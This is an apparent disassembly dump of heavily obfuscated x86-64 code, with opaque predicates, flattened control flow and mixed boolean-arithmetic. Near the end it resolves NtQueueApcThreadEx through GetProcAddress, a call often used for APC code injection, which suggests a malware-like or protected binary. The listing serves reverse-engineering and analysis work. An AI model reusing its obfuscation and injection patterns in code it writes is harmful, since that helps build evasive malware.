xor edx, 0x1c20c70a
xor ecx, 0x82440804
and ecx, 0xe3c628b4
and edx, 0x1c39d74b
or edx, ecx
mov ecx, edx
xor ecx, 0x638008b4
xor edx, 0x1c39d74b
mov ebp, edx
and ebp, 0x84676640
and ecx, 0x7b9899bf
or ecx, ebp
xor ecx, 0x84676640
xor edx, ecx
test edx, ecx
setne r8b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov ebx, r9d
or bl, dl
xor bl, 1
mov r11d, ecx
or r11b, r8b
xor r11b, 1
mov r10d, ebx
and r10b, r11b
xor r11b, bl
or r11b, r10b
and r9b, dl
and cl, r8b
or cl, r9b
mov ebx, edx
xor bl, r8b
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov eax, r11d
xor al, 1
mov edx, eax
and dl, r11b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor al, cl
xor cl, 1
and dl, cl
or dl, bl
or cl, r11b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x65546794
mov ebp, 0x44166d9b
cmovne ecx, ebp
test dl, 1
mov r15d, 0x44166d9b
cmove ecx, ebp
test al, 1
mov eax, 0x65546794
jmp 0x14013dd20
mov edx, dword [0x14024b6e8]
mov edi, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
and edx, 0x354e3e16
and ecx, 0xcab1c1e9
or ecx, edx
mov edx, ecx
xor edx, 0xcab1c1e9
xor ecx, 0x354e3e16
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne al
sete r9b
cmp edi, 9
setg r8b
cmp edi, 0xa
setl r11b
mov edx, r11d
xor dl, r8b
and dl, r11b
xor al, r9b
and al, r9b
mov ebx, edx
xor bl, 1
or bl, dl
xor bl, 1
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov r10d, edx
and r10b, al
xor dl, al
or dl, r10b
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov r10d, edx
xor r10b, 1
and dl, r10b
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
mov eax, r8d
xor al, r9b
and al, r8b
xor r11b, r9b
xor al, 1
xor r11b, 1
mov ecx, eax
xor cl, r11b
or r11b, al
xor r11b, 1
or r11b, cl
xor r11b, dl
and dl, r11b
mov eax, r11d
xor al, dl
test al, 1
mov eax, 0xd6b1168
mov ecx, 0xfa623d92
cmovne eax, ecx
test r11b, 1
mov ecx, 0xd6b1168
jmp 0x14013c7fd
mov ecx, 0xfd312ed7
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebp, 0xbdbc643
and edx, 0xf42439bc
or edx, ebp
mov ebp, edx
xor ebp, 0x44001920
xor edx, 0xbdbc643
mov edi, ecx
and edi, 0xb93de4de
and ebx, 0x46c21b21
or ebx, edi
or ecx, edx
and edx, 0xb93de4de
and ebp, 0x46c21b21
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x9d761ccc
and ecx, 0x6289e333
or ecx, edx
xor ecx, 0x6289e333
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r11b
mov edx, r9d
xor dl, r11b
mov r10d, edx
and r10b, r9b
and r9b, cl
or cl, r8b
xor cl, 1
or cl, dl
and dl, r11b
mov ebx, r10d
xor bl, 1
xor r10b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r10b
and r11b, r8b
or r11b, r9b
xor cl, 1
mov eax, r11d
and al, cl
xor cl, r11b
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and cl, bl
or bl, al
and al, dl
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x6753b50
mov ebp, 0xf158d496
cmovne ecx, ebp
test bl, 1
mov eax, 0x6753b50
jmp 0x14013e287
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
and ebp, 0x6999fad0
and ecx, 0x9666052f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x9002002f
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x6646790
and edx, 0xf99b986f
or edx, edi
xor ecx, 0x6290
and ecx, 0x6646790
and ebp, 0xf99b986f
or ebp, ecx
xor ebp, edx
xor ebx, ebp
test ebx, ebp
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
and dl, r9b
and bl, r8b
or bl, dl
mov eax, ebx
xor al, r9b
and al, bl
mov edx, r9d
xor dl, r8b
not dl
and dl, r8b
or r9b, r8b
mov ecx, r9d
xor cl, dl
xor dl, 1
xor cl, 1
or dl, r9b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x51f0e80f
mov ecx, 0xe6fba671
cmovne ebp, ecx
test al, 1
mov ecx, 0x51f0e80f
cmovne ecx, ebp
jmp 0x14013e28a
mov ecx, 0x81a94148
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x5210e3f4
and ecx, 0xadef1c0b
or ecx, edx
xor ecx, 0xadef1c0a
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x20f9bca0
and ecx, 0xdf06435f
or ecx, ebp
xor ecx, 0xdf06435f
or ecx, edx
cmp ecx, 0xffffffff
sete bl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
xor r8b, al
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, r8b
and dl, bl
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor dl, 1
and dl, cl
xor cl, 1
and bl, cl
or dl, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x2dd3515b
mov ebp, 0xfede7486
cmovne ecx, ebp
test al, 1
mov eax, 0x2dd3515b
jmp 0x1401306c2
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x19002002
and ebp, 0x82089649
or ebp, edx
mov ebx, ebp
not ebx
xor ebp, 0x39e52832
or ecx, 0x9b08b64b
mov edi, ecx
not edi
and ebp, 0xb9e52c3a
and ebx, 0x2089241
or ebx, ebp
and ecx, 0xb9e52c3a
and edi, 0x44124184
or edi, ecx
xor edi, ebx
mov ecx, edi
not ecx
and ecx, 0x64f749b4
and edi, 0x9b08b64b
or edi, ecx
mov ecx, edi
not ecx
mov edx, edi
xor edx, 0xced8be49
mov ebp, edx
and ebp, ecx
and edx, edi
mov ebx, ebp
not ebx
mov esi, edx
not esi
mov eax, ebx
and eax, 0x7b8fce34
and ebp, 0x847031cb
or ebp, eax
or ebx, esi
and esi, 0x7b8fce34
and edx, 0x847031cb
or edx, esi
xor edx, ebp
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x9fabb999
and ebx, 0x60544666
or ebx, eax
xor ebx, 0xae8cf82e
and edi, 0xc47a130a
mov eax, ecx
and eax, 0x3b85ecf5
or eax, edi
xor eax, 0xc47a130b
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xc0051810
and ecx, 0x3ffae7ef
or ecx, eax
xor ecx, 0x3ffae7ef
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x771ddfd5
and eax, ecx
and ecx, 0x88e2202a
or ecx, edx
xor ecx, 0x88e2202a
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x81dd8138
and ecx, 0x7e227ec7
or ecx, eax
mov eax, ecx
xor eax, 0x26222440
xor ecx, 0x1508108
and ecx, 0x5950db8f
and eax, 0xa6af2470
or eax, ecx
mov ecx, eax
xor ecx, 0x1950498c
xor eax, 0x22860030
and eax, 0x62869233
and ecx, 0x9d796dcc
or ecx, eax
xor ecx, 0x9d796dcc
sete r9b
setne dl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov eax, edx
and al, bl
xor dl, cl
and cl, r9b
or cl, al
mov eax, ebx
and al, r9b
xor bl, r9b
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
xor dl, cl
and cl, dl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xe8bce6c1
mov ebp, 0xf29967
cmovne eax, ebp
test dl, 1
mov edx, 0xe8bce6c1
cmovne edx, eax
test cl, cl
jmp 0x14013e564
mov ecx, 0x215bcbbd
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x4d2104ba
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov ebx, ecx
xor ebx, 0x45cfd16
and ebx, ebp
mov edx, ecx
and edx, 0xfba302e9
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xfba302e8
and edx, 0x45cfd17
or edx, ebx
and ebp, 1
xor ecx, 0xfffffffe
or ecx, ebp
mov ebx, ecx
not ebx
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x83c5cd85
and edx, 0x7c3a327a
or edx, edi
or ebp, ecx
and ecx, 0x83c5cd85
and ebx, 0x7c3a327a
or ebx, ecx
xor ebx, edx
not ebp
or ebp, ebx
mov edx, ebp
not edx
or ebp, 0x92ffd37
mov ebx, ebp
not ebx
or edx, 0xf6d002c8
mov ecx, edx
not ecx
and ebp, 0xb0004762
and ebx, 0x46d00088
or ebx, ebp
and edx, 0xb0004762
and ecx, 0x92fb815
or ecx, edx
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x92ffd37
and ecx, 0xf6d002c8
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7120dd6
and ecx, 0xf8edf229
or ecx, edx
mov edx, ecx
xor edx, 0x900ce228
xor ecx, 0x1208d6
and ecx, 0x68f318d7
and edx, 0x970ce728
or edx, ecx
xor edx, 0x970ce728
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, ecx
and al, dl
and cl, bl
and bl, r8b
or bl, al
mov r9d, ebx
xor r9b, dl
and r9b, bl
and dl, r8b
or dl, cl
mov ecx, r9d
xor cl, 1
mov eax, edx
xor al, 1
and dl, cl
or cl, al
and al, r9b
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x337502d3
mov ebp, 0x15bf8656
cmovne edx, ebp
test al, al
mov eax, edx
mov ebp, 0x337502d3
cmovne eax, ebp
test cl, cl
cmovne eax, edx
jmp 0x14013c911
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov esi, ebp
not esi
mov edx, esi
and edx, 0x32490004
mov ecx, ebp
and ecx, 0xc030a4a1
or ecx, edx
mov edx, ecx
xor edx, 0x40000001
xor ecx, 0x1f875106
mov edi, esi
or edi, 0xf279a4a5
mov ebx, edi
not ebx
and ecx, 0x9fb7f5a6
and edx, 0x60480001
or edx, ecx
and edi, 0x9fb7f5a6
and ebx, 0xa58
or ebx, edi
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xd865b5b
and ebx, 0xf279a4a4
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x89e05f9f
and ebx, 0x761fa060
or ebx, ecx
xor ebx, 0x761fa060
and esi, 0x6b945c8f
and ebp, 0x946ba370
or ebp, esi
xor ebp, 0x946ba370
mov ecx, ebx
and ecx, ebp
xor ebp, ebx
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x73d7bea2
and ebp, 0x8c28415d
or ebp, ecx
xor ebp, 0x8c28415d
setne r8b
sete bl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
and cl, al
mov edx, ecx
xor dl, 1
or cl, dl
mov r10d, edx
xor r10b, cl
or cl, dl
xor cl, 1
or cl, r10b
xor r9b, bl
or bl, cl
xor cl, 1
xor bl, 1
or cl, r8b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov ebx, eax
xor bl, r8b
or al, r8b
xor al, 1
or al, r9b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and al, bl
or bl, dl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x95d6501e
mov ecx, 0xff0dad13
cmovne eax, ecx
test dl, 1
mov ecx, eax
mov edx, 0x95d6501e
jmp 0x14013d203
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov esi, edx
mov ecx, edx
xor ecx, 0xd600ac86
and ecx, edx
not edx
and edx, 0x12507525
and esi, 0xedaf8ada
or esi, edx
mov edi, esi
xor edi, 0xedaf8ada
mov ebp, esi
xor ebp, 0xc450d9a3
and ebp, edi
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x4a9f010c
and ecx, 0xb560fef3
or ecx, ebp
mov ebx, ecx
xor ebx, 0x5020
xor esi, 0x2106400
and esi, 0xe2136692
mov edx, edi
and edx, 0x1dec996d
or edx, esi
xor edx, 0xe2136693
and edi, 1
or edi, edx
mov edx, edi
not edx
xor ecx, 0x9c9fad8b
mov ebp, ecx
and ebp, 0xfb7e2b5e
and ebx, 0x481d4a1
or ebx, ebp
or ecx, edi
and edi, 0xfb7e2b5e
and edx, 0x481d4a1
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xfbedb6f6
and edx, 0x4124909
or edx, ecx
mov ecx, edx
xor ecx, 0x7acc00c4
xor edx, 0x100101
and edx, 0x8131b733
and ecx, 0x7ece48cc
or ecx, edx
mov edx, ecx
xor edx, 0x7800404c
xor ecx, 0x80001301
and ecx, 0x86ce1b81
and edx, 0x7931e47e
or edx, ecx
mov ecx, edx
xor ecx, 0x86cc1380
xor edx, 0x3930840a
and edx, 0x39328c0b
and ecx, 0xc6cd73f4
or ecx, edx
xor ecx, 0xc6cd73f4
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov r11d, ebx
xor r11b, cl
and bl, r11b
and r11b, cl
mov edx, ebx
and dl, r11b
xor r11b, bl
or r11b, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r9b, r10b
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
not cl
mov eax, r11d
xor al, 1
and cl, r11b
and al, dl
or al, cl
mov ecx, r11d
xor cl, dl
or dl, r11b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x902e93dd
mov ebp, 0x172437ce
cmovne edx, ebp
test al, 1
cmove edx, ebp
not cl
test cl, 1
mov eax, 0x902e93dd
jmp 0x14013d76e
mov eax, dword [0x14024b6e8]
lea edx, [rax - 1]
imul edx, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0xc411089a
mov ecx, edx
and ecx, 0x19a25124
or ecx, eax
xor ecx, 0x19a25124
mov eax, edx
and eax, 0x224ca641
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x224ca640
and eax, 0xddb359bf
or eax, ecx
mov ecx, eax
not ecx
and ebp, 0xf949642d
and edx, 0x6b69bd2
or edx, ebp
mov ebp, edx
xor ebp, 0x2309b02
xor edx, 0xf949642d
mov ebx, eax
and ebx, 0x1cc660f0
and ecx, 0xe3399f0f
or ecx, ebx
or eax, edx
and edx, 0x1cc660f0
and ebp, 0xe3399f0f
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
and ecx, 0x4dfa3120
and eax, 0xb205cedf
or eax, ecx
xor eax, 0xb205cedf
sete dl
setne r8b
cmp dword [0x14024b6e4], 9
setg al
xor r8b, al
xor dl, al
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ecx, r8d
mov ebx, edx
and bl, al
mov r9d, ebx
and r9b, dl
xor bl, dl
or dl, r8b
xor r8b, 1
and cl, r8b
xor cl, 1
mov r10d, ecx
xor r10b, r8b
or cl, r8b
xor cl, 1
or cl, r10b
or bl, r9b
xor bl, cl
xor al, r8b
xor dl, 1
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x8ca9b24b
mov ecx, 0x64cabdc9
cmovne eax, ecx
test dl, 1
mov ecx, 0x8ca9b24b
cmovne ecx, eax
test bl, 1
jmp 0x14013dd20
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x2c061200
mov ebx, ecx
and ebx, 0x189a0cb
or ebx, edx
xor ebx, 0x189a0cb
mov edx, ecx
xor edx, 0x2d8fb2cb
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xd2704d35
and edx, 0x2d8fb2ca
or edx, ebx
and ebp, 0x3f22dcd
and ecx, 0xfc0dd232
or ecx, ebp
mov ebp, ecx
xor ebp, 0xfc0dd232
xor ecx, 0x3f22dcd
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
xor edx, ecx
test edx, ecx
setne cl
sete dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
xor cl, dl
and cl, dl
mov ebx, r8d
xor bl, dl
and bl, r8b
and r8b, cl
not cl
and cl, al
or cl, r8b
xor al, dl
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
not dl
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x63532db2
mov edx, 0x2d1ea4c5
cmovne ecx, edx
test al, al
jmp 0x140139323
mov r8, qword [rsp + 0x38]
mov ebp, dword [0x14024b6e8]
mov ecx, dword [0x14024b6e4]
lea edx, [rbp - 1]
imul edx, ebp
mov eax, edx
not eax
mov ebx, edx
or ebx, 0x3681b634
mov edi, ebx
not edi
mov esi, eax
or esi, 0xc97e49cb
and ebx, 0xfaadb306
and edi, 0x15248c9
or edi, ebx
mov ebp, esi
not ebp
and esi, 0xfaadb306
and ebp, 0x4000430
or ebp, esi
xor ebp, edi
mov ebx, ebp
not ebx
and ebx, 0x6bbed03c
and ebp, 0x94412fc3
or ebp, ebx
xor ebp, 0xa2c099f6
and eax, 0x4129f9c9
and edx, 0xbed60636
or edx, eax
xor edx, 0xbed60636
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edx
not eax
and eax, 0xecb9e2ad
and edx, 0x13461d52
or edx, eax
xor edx, 0x13461d52
setne r10b
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and r10b, bl
or r10b, cl
or bl, dl
xor bl, 1
mov ecx, ebx
and cl, r10b
xor bl, r10b
or bl, cl
mov r11d, ebx
xor r11b, 1
mov r9d, r10d
xor r9b, 1
mov ecx, r10d
and cl, r9b
mov eax, r11d
and al, bl
mov edx, ecx
xor dl, 1
xor cl, r10b
or dl, r9b
xor dl, 1
or dl, cl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
xor al, dl
xor r9b, bl
or r11b, r10b
xor r11b, 1
or r11b, r9b
mov ecx, r11d
xor cl, al
test cl, 1
mov edx, 0x5c5f9916
mov ecx, 0x81ef16fb
cmovne edx, ecx
test r11b, 1
mov ecx, 0x5c5f9916
cmovne ecx, edx
mov qword [0x14024b0a0], r8
jmp 0x14013d55c
mov edx, dword [0x14024b6e8]
mov esi, dword [0x14024b6e4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebx, eax
or ebx, 1
mov ebp, ebx
not ebp
mov edi, eax
or edi, 0x3bff24f8
and ebx, 0x3bff24f8
and ebp, 0xc400db06
or ebp, ebx
and edi, 0x3bff24f9
xor edi, ebp
not edi
and edx, 0xb1ce1665
and eax, 0x4e31e99a
or eax, edx
xor eax, 0x4e31e99a
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
cmp eax, 0xffffffff
sete al
setne cl
cmp esi, 0xa
setl r8b
cmp esi, 9
setg r9b
mov ebx, ecx
xor bl, al
and bl, cl
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
and dl, r9b
xor cl, 1
and cl, r8b
or cl, dl
xor al, r9b
and r9b, al
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x721ed2d7
mov ebp, 0xa47793ef
cmovne edx, ebp
test al, al
mov eax, 0x721ed2d7
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x14013c911
mov eax, dword [0x14024b6e8]
mov ecx, dword [0x14024b6e4]
lea edx, [rax - 1]
imul edx, eax
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xfffffffe
mov eax, edx
xor eax, 0xfffffffe
and eax, edx
mov edi, ebx
and edi, eax
xor eax, ebx
or eax, edi
mov ebx, eax
not ebx
and ebp, 0x3293c738
and edx, 0xcd6c38c7
or edx, ebp
mov ebp, edx
xor ebp, 0xc9482002
xor edx, 0x3293c738
mov edi, eax
and edi, 0x4a5d8f5
and ebx, 0xfb5a270a
or ebx, edi
or eax, edx
and edx, 0x4a5d8f5
and ebp, 0xfb5a270a
or ebp, edx
xor ebp, ebx
not eax
or eax, ebp
cmp eax, 0xffffffff
sete r10b
setne r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r8b
mov ebx, r9d
xor bl, r10b
and bl, r9b
mov r11d, ebx
xor r11b, 1
and bl, r8b
and r11b, al
or r11b, bl
and r8b, r9b
and r10b, al
or r10b, r8b
mov ebx, eax
xor bl, r9b
or al, r9b
xor al, 1
or al, bl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r11d
xor dl, 1
and dl, al
xor al, 1
mov ecx, r11d
xor cl, al
and cl, r11b
and al, r11b
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x4cbb6584
mov ebp, 0x29d9b822
cmovne eax, ebp
test cl, cl
mov ecx, 0x4cbb6584
jmp 0x14013c303
mov eax, dword [0x14024b6e8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x8004c27
and edx, 0x25da0040
or edx, ecx
mov ebp, edx
xor ebp, 0x880000
xor edx, 0x8a20c8a1
or eax, 0x2dda4c67
mov ecx, eax
not ecx
and edx, 0xaf72c8e1
and ebp, 0x880406
or ebp, edx
and eax, 0xaf72c8e1
and ecx, 0x50053318
or ecx, eax
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x17631d6f
and ecx, 0xe89ce290
or ecx, eax
mov edx, ecx
xor edx, 0x400ee6
xor ecx, 0x3ab95108
mov eax, ecx
or eax, 1
mov ebp, eax
not ebp
and ecx, 0xdd8fa111
and edx, 0x22705eee
or edx, ecx
mov ecx, edx
xor ecx, 0x2404a6d
xor edx, 0xdd8fa110
mov ebx, eax
and ebx, 0xb538b482
and ebp, 0x4ac74b7c
or ebp, ebx
or eax, edx
and edx, 0xb538b482
and ecx, 0x4ac74b7d
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xa6080335
and eax, 0x59f7fcca
or eax, ecx
mov ecx, eax
xor ecx, 0x59162cc2
xor eax, 0x324
and eax, 0xe1d32c
and ecx, 0xff1e2cd3
or ecx, eax
xor ecx, 0xe1d32c
setne al
cmp dword [0x14024b6e4], 9
setg bl
mov edx, ebx
and dl, al
xor bl, al
or dl, bl
mov eax, edx
not al
mov ecx, ebx
xor cl, 1
and bl, dl
or dl, cl
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xe4c33125
mov ebp, 0x502d1e82
cmovne ecx, ebp
test dl, dl
mov edx, 0xe4c33125
cmovne ecx, edx
jmp 0x14013b268
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd26b59ae
and edx, 0x2d94a651
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdb0a4d71
and edx, 0x24f5b28e
or edx, ecx
mov ebp, edx
xor ebp, 0xf69eeb20
mov ebx, edx
xor ebx, 0xf69eeb21
and ebx, ebp
xor edx, 0x96114de
and edx, 0xfffffffe
and ebp, 1
or ebp, edx
mov ecx, ebx
not ecx
mov edx, ebp
not edx
mov edi, ecx
and edi, 0x1fa84bfc
and ebx, 0xe057b403
or ebx, edi
or ecx, edx
and edx, 0x1fa84bfc
and ebp, 0xe057b403
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb78b8031
and ecx, 0x48747fce
or ecx, edx
mov edx, ecx
not edx
and edx, 0x48747fce
and ecx, 0xb78b8031
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x88e40b3c
and ecx, 0x771bf4c3
or ecx, ebp
xor ecx, 0x771bf4c3
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and dl, al
or al, r8b
xor al, 1
and bl, r8b
or bl, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
not al
and al, cl
xor cl, 1
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
or bl, al
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0x3b327253
mov ebp, 0xc15ec175
cmovne ecx, ebp
test dl, dl
mov edx, 0x3b327253
cmove ecx, edx
test al, al
jmp 0x14013c3eb
mov eax, dword [0x14024b6e8]
lea ebp, [rax - 1]
imul ebp, eax
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x4080f87f
mov ecx, ebp
and ecx, 0xbf7f0780
or ecx, eax
mov eax, ecx
xor eax, 0xae0b0000
xor ecx, 0x4080f87e
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
or ecx, 1
mov edi, edx
not edi
